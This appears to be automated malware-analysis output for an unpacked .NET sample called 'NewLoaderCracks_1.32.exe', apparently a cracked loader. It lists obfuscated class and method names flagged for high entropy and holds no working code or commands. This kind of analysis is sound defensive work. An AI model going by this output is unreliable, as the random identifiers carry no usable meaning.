Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, SSylUP9EuEheEVLMLoR.cs	High entropy of concatenated method names: 'tSK9W692gs', 'aAOlp0lLcNB4TYQckAS', 'KtNQojlaTUIk9ytOT40', 'zG1s5RlQrBNr9yOoHQm', 'W8eiMXlPAo06WJCnY4R', 'jrTPDMlBULIWwgBQM7N', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, ngF7YCRzpDtcgD33ll9.cs	High entropy of concatenated method names: 'hqeXaX3rRb', 'lyrXqmtEXt', 'jBeXSG2g9X', 'GeWAIM191yrIR7LIPxu', 'htlZbX1i2ajK3BLNi1l', 'wxEibH1B3iYH9Uelhmk', 'TUfEhl1oGUqBxp1VsPW', 'iQPpZe1TxySbViodSA4', 'pUVMJq1HwGDIcthXSxi', 'APR4wf1srd4wmi2wnhg'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Ff88SRvmh15s8qMeoS9.cs	High entropy of concatenated method names: 'zatrunhjW2', 'XhXrxPBiK9', 'Fj0rD95WWa', 'KJtrBkcv0s', 'BowrEfsyQE', 'C4K08fSQnd6EpLS9WPX', 'MVBux7SPGPAUCTasrn6', 'iLfGAgS4lv8RXgFXBR7', 'aNJ5xhSnm0PcMTJ1lFs', 'Nh4ZUYSLwl1Ks8DstFr'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, wfmoFF7hiRD3cgB0IB.cs	High entropy of concatenated method names: 'toFjFhiRD', 'aNIQtr4UNoIW4YXPDY', 'dJWV3x63FI3nIGZZY6', 'NaH0WLba30QKdVZ1K8', 'vaxaYHn6caHt4oyBWn', 'jjc89tQ8NyExDy1DXx', 'VCYlBLvOI', 'uCERqN71G', 'IGqv92bCq', 'jp1KNowJ6'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, n0t0pSlTO21awwWGEMh.cs	High entropy of concatenated method names: 'piTvm04MpM', 'FVxvpl6Feh', 'O29vTElPEn', 'dgVvh7XuGZ', 'qiNvNXq2k1', 'dnAmgQZxmkjM05ZNAW4', 'wnVRWPZrnXZAOjFWu9x', 'OLFvLKcfL3OTtLUUSGn', 'UqlkV4czxp6kEFWui1B', 'xFhyK0ZgCReDkXMUVFa'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, s4k6M29947Pd4eU9gQX.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'O1mXrNpGeywXXCHv5hG', 'PdVPW5pJGYXZLTfdVAp', 'RYcxgup8yu8t3msQRiK', 'KFXH3hpw1dbKdeyxG1E', 'KYbpQtp5QekFTQAKu5A', 'UbNhxlpKckVmBNhbjqa'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, aUhb82JNGmSK692gsl.cs	High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'Cx5ROSWHMYC5VC6oCnP', 'Urrjs7WsPAjJyc60TOZ', 'Mhw0axWq0ZDKGFoGHs5', 't5JtcCWDv1rLQkormq9', 'BSOvW9WVP4ayInFXWuG', 'VLiPeXWIfgnJnw8Tvgq'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, RNPKDLRgnTWovsb2PfJ.cs	High entropy of concatenated method names: '_269', '_5E7', 'PQXAY7VWLI', 'Mz8', 'yohA7TleOU', 'OP1F14KMF4kj7I4bm5Q', 'KTt6cgKO3RuPk7vQ8aU', 'kEl3iAKR9ON6jrrD1KN', 'ha1GFeK3RyCXTPAArw5', 'muffLoKXqwKU5kwGwGF'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, zPI4UC7j83EwXD93Buo.cs	High entropy of concatenated method names: 'l25liIsSVRAXkTxhLoT', 'kRCHdrsCZmYs8K5oHpY', 'cTTwX2s1iN28bgeyNcP', 'LGr1r5svF1wdi82OCj1', 'Fcl8iXx74V', 'sOHDvOsuClk44daZQ4g', 'ITwhOPs6YmOKYDicVB8', 'uG4K4qsb0xa1LiMrm47', 'aKhPols46I51NIIFjjh', 'DkSo2msnJdwGX0u8XoL'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, zBhiTPvKhTWbp26i2p0.cs	High entropy of concatenated method names: 'pY8yHFUs5G', 'aUCCrsvdwjoMe4LBmZZ', 'SjOoHVvGoD9gA7bhYmr', 'rhXaAxv7HkjLAKVVa4a', 'bejCuev0EgmIHetNxmF', 'BARX5oQXfK', 's9xX8C9TXM', 'v7vX1ol8mo', 'OYiXu0FVCX', 'R4XXxYYjao'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, LqC3sHlqHwtkwo6WEcx.cs	High entropy of concatenated method names: 'mnqvWGuQpD', 'I3gvYhqYsf', 'MGRvznbE1i', 'ITiK6o6LT3', 'dyWK9K3kSS', 'ybHKltf92S', 'IbtKRNuRTP', 'GNbKvWoAlK', 'u9PKKHe0t0', 'x9mZ5fZ3x5ZJG68aGVV'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, x53ABG9f1owHDDKBaS3.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'qV714oYxEu5IA2a3IyF', 'tdCyEVYrg90xmuk4ey3', 'bwC1yfYg8T5ahHZGFaF', 'LrLyhWYNYKnYVp4WCZv', 'kCOJKvYUdWmWYgv5nkd', 'qNKUBqYWEbuDaorAp4Y'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, vVOmPGvrq31DO4wGvpR.cs	High entropy of concatenated method names: 'R5nyDoZ5tK', 'DwTyBrHcuW', 'kk9yEV8q9Z', 'b9gyIJCf9Z', 'EeuyctOC8U', 'jRTHRsvfDsnDW4YldbC', 'LXbZTHvzS3aRgR9ypIf', 'tQHYTlvtoJJ6V43XY8w', 'nhcgyQvk9bof5Qmiq6d', 'ixvoDiSxBCp6UFJKX25'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, bIFPV1lcgwYDSDD5lM3.cs	High entropy of concatenated method names: 'bUo3Z5cfiR', 'gCx3wimkVY', 'qfuKiS03euwGOCRsh0W', 'BMIA9Q0Xq5UEHcenUUI', 'dtHJU20OQiAFIO5ANvA', 'E5ecsj0RPxCCbXlN4Se', 'oVv3Hi9Lyx', 'vrioWWdxPAAeEAOZh5e', 'OkLqyudr2pemMUuLDdk', 'SmEmKA0fUF0UgZYyBEc'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, JeBQwbdky5DS6jtXTP.cs	High entropy of concatenated method names: 'WHsxJy1sc', 'u2WDYPxEk', 'aHmBs3h3r', 'ege99wran3LKLhyMRgP', 'i9kMHprPcg7MLdfjQrS', 'uFaJDVrLJbcmY4mMoMt', 'c2rpZnrBoiUKMnDlhee', 'gIBPDWro1FcnGOkEtvy', 'yebZsKr9hnYS0xnOuhX', 'mhmQE5riEYTBa61AsV3'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, qdhFZ8R4DvSTxeWyhpd.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'i55A28VT4E', '_168', 'wh4ZssKvk0oUHRnpIPh', 'pWB19ZKSXxIDgPLmwpM', 'Fqn38NKCyuOckWts74a', 'zoMDN2K2u7HS2s9nuZw', 'brUvuJKEEsPq7wABrSx'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, hDc22q36rjYl7cot4V2.cs	High entropy of concatenated method names: 'Gh5kLPB2Ov', 'kFnkVYtcxi', 'Gdrkno7VIK', 'TH8k4bfWZ6', 'lXtk2XA0DL', 'es4ktcEykF', '_838', 'vVb', 'g24', '_9oL'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, gWl6xsRsO4F1ET3XU7j.cs	High entropy of concatenated method names: '_5u9', 'hLLAwVhSAi', 'KM6X61hMyw', 'WrwAtwsyJM', 'mCKeOY5tXQeMwS6MiHG', 'v9FKKJ5kQ9RTBpF7hye', 'GCBKyX5f1waRepCJ85T', 'TrVFHr53drf9y9BDftT', 'Ba8k165XPXWXtEIPSsh', 'KB1lyd5zhIZrA5XYv5A'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Kt2Y7f9q06pPifGXJIv.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'OF6sUBePE6BtaE3Kuth', 'jo2OSGeLZQCihT7DSeP', 'bTYDhYeayv0ue773mIo', 'tISHVAeBJK3JyVTc0WR', 'XUbls3eoaS4tr8O1Zld', 'fKvWaue9899EEIL168C'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, OoKQBd9PQOIINrUiJIJ.cs	High entropy of concatenated method names: 'nvH9SECnn5', 'EJtkr9Y02dd1A38WfQl', 'XlHpHOYdWQf7eQiK3TE', 'WVUDHHYZBVdAyebjYG9', 'lG30BEY7V9IcpZdKkVL', 'jf43DHYG4UQNuA9wAeg', 'wDNYDYYJJOjAGWOYYHM', 'OoP7uAY89U3psKsYPh1', 'C0ckiUYwef8IS4J0kWI', 'f28'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, tUR51qRtos8neeSCfCF.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'KRAX0V5agb', 'pBIAOwpU4N', 'BVnXyNYHGn', 'QSmAdTpoPh', 'tIS4B5KaehkqaEXNWVO', 'Ek9kscKBa9VD0kLhBRt', 'KTxkDuKPNsRwAANJxf6'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, s6gHsPvOqP2JDMQnOmc.cs	High entropy of concatenated method names: 'J5yjuhKgDq', 'iILjxvlJMS', 'iv5jDGxkJ1', 'aPtjBEwN4V', 'YP0jEhUOYu', 'R0kfhECGxgpsocX10dM', 'NkwZHtC0HtaO4Q1lUQq', 'EQQQPRCd2INaDLUgP93', 'WbfQd2CJ2MQlmW0EuGx', 'RP9RK3C8hWX6nOLiBP8'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, VsKPJfRrqU3kOWT58HW.cs	High entropy of concatenated method names: '_223', 'DyYk3t8078Xls8GcoPP', 'FfYd4F8d8HoBmL5CqR5', 'Kskasr8GaKO41fREd9M', 'HuoGNd8Jm5tuSa6awmA', 'oUExc688tSyeHKK1Utc', 'YoDYYH8wL1wwGyrAPgO', 'INVPkY855VEwi5Hk9wo', 'c79KOZ8KeBDh3NkbVJQ', 'IT8FCp81k70nebsS7fw'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, qaeqiIKANYedU44nENd.cs	High entropy of concatenated method names: 'vT1kvNUqqj', 'OmTkKTboCX', 'YXEk3hbTqu', 'MPDk7suR6d', 'a3qkZk6930', 'ztpkwYWJKy', 'rhnkXmkoqO', 'QG2k0fm6gG', 'ScrkyvZfkt', 'CBhkrbdtO3'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, q91kAv9rFvHpicluOel.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'HaH8HHyCXGop8YKgc1a', 'APchiSy2kqWw91PSEOi', 'GZ05PByE3sk4o0EOdv8', 'NhawT9yuGjHFVrCrgEk', 'Ir1woFy69AlQfLYVGYL', 'lRfe8mybEU5OwPbnAHD'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, wyJFCl9x9fYR1NwiG31.cs	High entropy of concatenated method names: 'F7E9gcvwr6', 'MUfj3Ul1pG5vZJ2Ev1w', 'GnXQUwlvbLFmx0ghYdg', 'l6S47Vl5JIEZ3oVoNB8', 'Cplf9RlKcedFKl2UfKh', 'fk8aCIlShZqeJ5obuJr', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, aTrJGWKb56QoYmFQAQO.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'HVakhyUyrY', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, PL0IiPRfXfjK4KIr5xd.cs	High entropy of concatenated method names: 'hfOZQykpe7', 'X0kZgyn0Ye', 'iGXZAe2Oy0', 'wFBZJ8TVOm', 'sGqZb31DO4', 'b3r8bpwpvlVFM1YtCxV', 'DZdmsgwyN68LpPpt5vZ', 'KEa5NUwUNkJeX94d9c3', 'AfN6ljwWAOI47SHnqPd', 'ohtw2dwYARJiUSnoAPL'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, lagxIU9pd3fOSXyoW5x.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'WZDHd9Y1dC2erxni2rA', 'hxgcadYvd3d5hqN9UXf', 'Q4QydsYSxFHP3O3Wte5', 'c6dh0SYCXf6Hj4mBnUD', 'g2SP66Y2dZMnKI0HJ5d', 'dR8NnQYEDpgQdD9cSd0'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, eKIJSugVWHhu7Ecvwr.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'kdmkiPW2ydU7yLhH4bJ', 't8cnxjWEqHYHYgAbFFs', 'SuDoaaWu6dHFxi8iIh5', 'j04Vc4W6fIkK16YI1Jm', 'jsGejMWb7P6bSG2oGb6', 'tEM3HUW4VHpP5GfiQfF'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, BMDE7K9JJ0GausKexUM.cs	High entropy of concatenated method names: 'm3ElPMHjU1', 'n1sALDjpaBN183WFupS', 'msuOljjyc15pgkWhgdV', 'hn9NDOjUGxeQLaLWemX', 'gobQsUjWpG8wIqBRDPi', 'EqH8mNjYhm0J7Yt6iI5', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, L3rkJ9v0wfOykpe7b0k.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, onxbvKvFYRiYgj2LUgx.cs	High entropy of concatenated method names: '_7zt', 'UktrPhONEb', 'MrdrUBwe0g', 'bNNrmQgrLZ', 'rfNrpqF7q3', 'GoOrTfCYtW', 'NU2rhqvBE0', 'MtlJMDS5MlaZqhjEEhq', 'N5FKvoSKTM3xHTIlXhk', 'lihOZBS8JBwj3DG9768'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, PhlmOO33kFK31SVC9ER.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, LRnbE1lUiETio6LT3vy.cs	High entropy of concatenated method names: 'r1GvjPTNAP', 'hnJviL8UrN', 'm4iRFbc15rKk2HUhw5i', 'hnjdTbcv7fuxLpQMFBO', 'wamRGlc5ZOO0IGlEamL', 'kfk3IOcKQ6W9MRJxu3R', 'GSroIYcSvPKtg8OUFeU', 'jGeINRcCD4RcfnTSr5V', 'eBeJJbc2jvE8PTQU09v', 'MyKTBTcEZ90VNFlfU40'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, e2xI1uli2BvyPgOWt3H.cs	High entropy of concatenated method names: 'cDIRJmiyo6', 'MG4UoJhNwPrQjI5lB57', 'U2Vo2shU57Ndo89Jev3', 'frcPyphrOu2UfXMBuXm', 'dT58OPhgNISD3n7GAjH', 'xuoR9XhWo6u6GQDCoUm', 'H4vWC1hpXC3YTFD5tuo', 'WH7iLmhy778ggBsjR1A', 'FqTw9KhYemN6TlbZSkk', 'HLasCjhe7UmZ9itjD9U'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, TNvZay3pOuluj5OwSvS.cs	High entropy of concatenated method names: 'J8NdUIO02T', 'QcidmRVOZn', 'TCOdpQ8OEV', 'wu9dTiTVve', 'BN7dhM0eZO', 'wTaBTbot6PnWCXSyrrD', 'tQN52wok6TMm4r0Z5nq', 'ymlroHofNXOrObjWJqI', 'JHshW3ozoYlE5aZ0FUo', 'FmaqX39x4QmS2KWLYIh'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, xuDPF3KRHi7u5qFcYsd.cs	High entropy of concatenated method names: 'gOnlHA45JGQn4hPG3PU', 'lTDSat4KTMTCK0ha96P', 'sPU3l048oIvTtYbZNRv', 'esFxZO4wGtMvtUCteGB', 'I5oUN2uKC1', 'qsn9xQ4SAZCIj64X34R', 'PxoJPX4CeqbsOx2PAxd', 'xcLbJ341Aom3Ll00t5N', 'jYjPFa4vYwJ8I9fp2wm', 'EC9c1m42l3QZHL0UCtl'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, DLIptRcP5hqxvlRK7M.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'hEYIPXNXkXHK9CCajp1', 'Iluc2ANte7GTmMvoaS3', 'iUJmk6Nk5pHZiJLxWcF', 'ftCh5jNfmD04tmTZaeh', 'n5g0q5Nz7eb7pds2mTj', 'ca0AxWUxlNYxXD9JXmj'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, phqcKeK1mcShOwIBfct.cs	High entropy of concatenated method names: 'nPdNQPeJDG', 'gUFNgbmaM7', 'oZqNAYtgN2', 'ywTNJHviQY', 'XXUNblJrN5', 'TKdNWheNh0', 'S70KeMLDLo1IHDhkKgI', 'huLhQDLsbXXVWhJ4CjR', 's7yMwnLqE57KuAPVsm4', 'KJUnoELVq59x1PWsslM'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, XYTvEgEdOn3VF2FFNt.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'kalFvjNPmM8SteyC0Q9', 'rvao1wNLof2njj7JelL', 'mVmDZlNaGWoPwvEiXQE', 'asaKdlNBWi4AjQ6uKr8', 'iSnoU8NoN3ZLogTK3Wj', 'W4Hr35N9QS18Oiy5eVo'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, USfWgM9YPEPl6et9gXe.cs	High entropy of concatenated method names: 'AWGlTgtLEM', 'NfllhXZUOj', 'KVJlNJ1knj', 'gayaNPjAZ8lrH9wkeeH', 'Odud3ujeWQXsklyTimV', 'bxTdfgjlOgR8fBE3ZNo', 'LtMVQTjja0vtixpRajV', 'tSiQuljmXFiFuN71BKn', 'KZdd0NjF50xPW0CoVs5', 'rAk39wjhWhK4qBykGYh'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Q6dtO9KQg7t1MhAiPxK.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, jinINCvwU1Z6HGWbpLQ.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, EjwkB2z5TSBmyCSo1h.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'q5iZGMpNVPubTJmdLn3', 'zJcIOTpU1iONtROt9oe', 'Ql6soUpWpkJJjYuYN7l', 'zdah2WppshZuw3Obsp5', 'Wb9iWtpyttnjJxVjFMM', 'iscfADpYGHYMQYZXcof'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, gPM5LvW7t53NGescAL.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'MY91KRWRHimB6F9SG6k', 'Jyq2QqW3JQpENsFN6wi', 'KHPDrGWXOwSyJu594YP', 'N5T8AdWtM2q9iBBxjES', 'aGis7LWkSi7agLi6BCy', 'C5uVPVWfgQkBaxTf8qX'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, OVytoBRJkkB8mvXG3th.cs	High entropy of concatenated method names: 'TlPHTQ1Lr1GVEauAnGd', 'aHX1jg1am4BwchPEu7b', 'YovKSi1QEsJeLj8Ljxr', 'N9dTp71Pet8d84ifGPn', 'IWF', 'j72', 'q2JXHOEhHZ', 'WYlXfOxxmY', 'j4z', 'gFcXFagpHr'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, sTNAPZl6nJL8UrN5G3c.cs	High entropy of concatenated method names: 'fm0lkCaThQ', 'XbEldbTxdU', 'c4hlOBadqX', 'kM7nkHj4DN1WeYc4yfO', 'QpOGsWjn5owk6jbJGWi', 'YsnsEQjQAYZbdR0mmM6', 'BQEiSYjPag90a8PUBlL', 'w1mDG6jLFi9XTIrELes', 'fcReEUjaPC1L6LKOkOA', 'hJ928ej6wXw3jv05kvR'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, eAIEiWRGuT0DLdJmEdh.cs	High entropy of concatenated method names: 'sg9', 'EkIAVk66FT', 'Nu3wWtnBd9', 'WKhABR6MFT', 'AkIqS15Dw8YD35ppHPm', 'kOBkey5Vt2bXkyT6nK7', 'sVcO5M5IQAhDYS8Dibf', 'cjPp1H5sG6ylnlvPrfP', 'KMJv0k5qV4cmAGElitI', 'ahdtKU5MJIGOusEr0ZR'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, rq0uC4T7MAii88bDUZ.cs	High entropy of concatenated method names: 'RG0N0ZYOs', 'eK6kWD0Ph', 'uo4d8pegH', 'KOoORVZT4', 'NBYa1HoDK', 'ryjqNo45j', 'qL8SjbWuD', 'H7KAv3rYYMbV6L9iyQH', 'iYeqm4reuAdY7LpBo9X', 'f7kFXxrl472QpMLGNrU'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, BHA5ckKxN1RpEYO0A8A.cs	High entropy of concatenated method names: 'wjrk6CPXEY', 'PVkuHcLtlAPVveO1LMe', 'tuM6WRL3GG7vIT1o0Dg', 'u4tpUrLXTQDx7wUqCWV', 'Dp68nULklx7Lf7Po4cN', 'Xvc7EiLfeKGfPywgvM4', 'TRhsE3LzaOXyPmelpdZ'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, mrhM939KRaqZJpAEAQQ.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'AYu44dpsNdAyGhObePU', 'UgWrWUpqvhv6l9ayvbv', 'yP7ImipDbPWLjJT19xb', 'bCGo3RpV0BfNA9jo4y0', 'krc2krpIX0YiB1eoL6u', 'bA8sSspM9Rp5w0omMW3'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, LaD94W3lE6s9EXDgZOf.cs	High entropy of concatenated method names: 'a7ydZGrQIx', 'khOdw6HShW', '_8r1', 'UDpdXw4kTa', 'I07d0ldRwA', 'UZWdyfJgpO', 'xsrdr86OEn', 'WnwrdGoZyPxrLQBJlt8', 'opKCORo7PlCfXwAIUhv', 'RHMpeLo0EV7rW0ZL2re'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Qhvj1tRVCck9P2urqru.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'EgOASKP5h3', 'vtcXvLkGQP', 'xCZAIl0I8E', 'DJGvfgKFHwvyQTc8CEx', 'X8yp41Khjq5oul55aXs', 'dWD2pOKcpYHREry4Z0N', 'Msu0s4KZWQ0XopUxgae', 'MUIk9DK7kMp15rtTNCY'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, X1ksjx9knfQstQDiYaY.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'AOQGf9YqA1UIT7lv1Xt', 'hj6w9AYDr1U192NRB1N', 'HuFlk0YVji1x7cmj54w', 'yYa4GgYIhTVF35rQ6RF', 'xCTNSwYMusFg2cb8627', 'Nc0lcqYObTko5cJGct6'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, x9V8q9KYZ99gJCf9Z1e.cs	High entropy of concatenated method names: 'Px9kaBludq', 'U81kqfOCt7', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'DjVkSnXNMf', '_5f9', 'A6Y'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, AeHf0H3200N8F0h8wpX.cs	High entropy of concatenated method names: 'y5lSTMUUv5', '_1kO', '_9v4', '_294', 'Gb3ShMLE4g', 'euj', 'XeRSNmdR9p', 'uToSkeHpkY', 'o87', 'reYSdBXeEv'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, x2GEZo70QclrbHZJC0W.cs	High entropy of concatenated method names: 'EY3YE2uu2c9iW', 'Po7KbWscbaHFsF6WQCs', 'fdCM4BsZPi9NNyIDfAp', 'iHMsMSs73oSHe03k5Bt', 'mdEEvts0sPu0fQkUUQv', 'r5ftS7sdocAtDbJF6Rt', 'EhXd9GsFKeNhLCBulmd', 'qd9BhGshX932ec2aFUL', 'oQfl4AsGaIeUVhR9njN', 'tamlDisJeCAEsF9ERBH'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, hAOp8OR9owXPgPYp5DS.cs	High entropy of concatenated method names: 'lUE7SjZE8X', 'qTj75jd32Y', 'i5F78ixgXF', 'xt771YwYTs', 'UYLco7dzUUt10rOtJWt', 'uvSlWldkWXSW6ddtJVH', 'C86E2mdfjh0BUNm7lHC', 'HSEAShGxWqsinJE1HAs', 'jSl4sKGr6yVX4hAKJ7V', 'Wk1IIGGgKdjL5e4wHdV'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, N36yYH3OXgUyXNSpeM6.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, O2gvDU95NOMAlPJ66JS.cs	High entropy of concatenated method names: 'vKg9LxagiM', 'zUMPhflgnjnBjSHYVaG', 'WnScjSlNcyVCjJSSxni', 'PfUKWJlx8WM0Lr1glE0', 'X5V6hrlriNlDDw3d4vj', 'p54QFxlUEhacfWlvNHs', 'bB1NX2lWY8iWnrcxoEt', 'wVAtyRlpD2AAmr42H7C', 'hkA9n7vOoh', 'YVMt2aleGiwN7YA3vRe'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, RHrgSUlFJHPGi4SFpy2.cs	High entropy of concatenated method names: 'M7yRzIqi4n', 'wU2v6E0Zrv', 'peMv9GgbRF', 'ILsvl7Rb6f', 'nOrvRdAgSM', 'HE7vvKJ0Ga', 'FsKvKexUMJ', 'eQxv3jPKUX', 'ituv7DIGxW', 'p7OvZrfWlC'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, u1OIBIRiW3RmDFyC1is.cs	High entropy of concatenated method names: 'YyrZMZ6Vis', 'vsTZs4QOqX', 'Ss2ZLg45rh', 'jinZVINCU1', 'N9KmDv8nsUvdVr27GcP', 'DbFkgD8QUhye42LAKoZ', 'SZ7Lcp8P0Id4ItLNfK3', 'TLIunf8bwoI8dn9Dhaq', 'k4S4EA84YvOoMri0tjP', 'ARFvRa8L6eELV8sva7x'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, nX3rRbvWryrmtEXt0Be.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, c4hBad90qXnMVQO8Ubp.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'YSwxdTyG4talWObDOMc', 'OZ0AbSyJOthlJDMHL8h', 'lgBl24y85f9IRRhj7UJ', 'oREoaMywsQ16MClkGYU', 'HjTY8gy5CaI01lUudDl', 'Ru5LoeyKBNQ17VjRoYw'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, h3LYx29iJMw2kCMi1e4.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'JU9wG2yBSVJ1uCm3oGp', 'XL0qkGyoMDMUucEcHj7', 'fq2CCSy9AFLYhrGPhuC', 'rUgRWryibVLDKtGloyN', 'KWRStsyTpgH0DyLd1lI', 'JfackfyHb68M9fLq7TJ'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, SRe90Hv2cbPqfyBf2JO.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'gJCie0Wewf', 'k89ioxf6vw', 'r8j', 'LS1', '_55S'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, tIHideRpbh7sVl4tMfy.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'zSNvRD5Fk2mNERMqahM', 'mCpyvT5hu8wXbF2I8f7', 'x4l0155cfYyw2TUNWFN', 'A0vint5ZXerNOvmvTuC'
